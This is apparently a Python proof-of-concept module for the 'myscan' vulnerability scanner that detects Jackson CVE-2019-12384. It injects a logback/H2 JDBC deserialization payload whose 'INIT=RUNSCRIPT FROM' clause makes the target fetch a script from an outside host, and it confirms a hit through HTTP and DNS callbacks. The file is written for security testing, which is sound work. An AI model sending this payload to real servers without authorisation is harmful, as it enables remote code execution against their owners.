# !/usr/bin/env python3
# @Time    : 2020/11/1
# @Author  : caicai
# @File    : myscan_jackson_cve-2019-12384_2019.py

from myscan.lib.parse.dictdata_parser import dictdata_parser  # 写了一些操作dictdata的方法的类
from myscan.lib.helper.request import request  # 修改了requests.request请求的库，建议使用此库，会在redis计数
from myscan.lib.core.common import get_random_str, isjson
from myscan.lib.core.base import PocBase
from myscan.lib.core.common_reverse import generate, query_reverse
from myscan.lib.core.const import notAcceptedExt
from myscan.lib.core.threads import mythread
from myscan.lib.core.data import cmd_line_options


class POC(PocBase):
    def __init__(self, workdata):
        self.dictdata = workdata.get("dictdata")  # python的dict数据，详情请看docs/开发指南Example dict数据示例
        # scheme的poc不同perfoler和perfile,没有workdata没有data字段,所以无self.url
        self.result = []  # 此result保存dict数据，dict需包含name,url,level,detail字段，detail字段值必须为dict。如下self.result.append代码
        self.name = "jacokson_cve-2019-12384反序列化"
        self.vulmsg = "link：https://github.com/cnsimo/vu1hub/tree/master/jackson/CVE-2019-12384-RCE"
        self.level = 3  # 0:Low  1:Medium 2:High
        self.hexdatas = []
        self.payload = '''["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url": "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '%s'"}]'''

    def verify(self):
        if self.dictdata.get("url").get("extension") in notAcceptedExt:
            return
        self.parse = dictdata_parser(self.dictdata)
        if not self.can_output(self.parse.getrootpath() + self.name):  # 限定只输出一次
            return

        params = self.dictdata.get("request").get("params").get("params_url") + \
                 self.dictdata.get("request").get("params").get("params_body")
        # 匹配json格式的参数值
        test_args = []
        for param in params:
            arg = param.get("value", "")
            if isjson(arg):
                test_args.append(param)

        # 匹配body为json格式的
        if self.dictdata.get("request").get("content_type") == 4:  # data数据类型为json
            test_args.append(None)
        mythread(self.send_payload, test_args, cmd_line_options.threads)
        self.query()

    def send_payload(self, param):
        # http 方式检测
        random = get_random_str(10).lower() + ".sql"
        httpurl, hexdata = generate(random, "http2")
        self.hexdatas.append((param, hexdata))
        # dns 方式检测
        _, hexdata = generate(random, "dns")
        self.hexdatas.append((param, hexdata))
        for httpurl_ in [httpurl, "http://{}:80/test.sql".format(hexdata)]:
            if param == None:
                req = self.parse.generaterequest({"data": self.payload % httpurl_})
            else:
                req = self.parse.getreqfromparam(param, "w", self.payload % httpurl_)
            request(**req)

    def query(self):
        sleep = True
        for param, hexdata in self.hexdatas:
            res, _ = query_reverse(hexdata, sleep)
            sleep = False
            if res:
                self.result.append({
                    "name": self.name,
                    "url": self.parse.getrootpath(),
                    "level": self.level,  # 0:Low  1:Medium 2:High
                    "detail": {
                        "vulmsg": self.vulmsg,
                        "payload": self.payload,
                        "param": "body部分" if param is None else param.get("name", ""),
                        "others": "{} in dnslog".format(hexdata),
                        "request": self.parse.getrequestraw(),
                        "response": self.parse.getresponseraw()
                    }
                })
                self.can_output(self.parse.getrootpath() + self.name, True)
                return
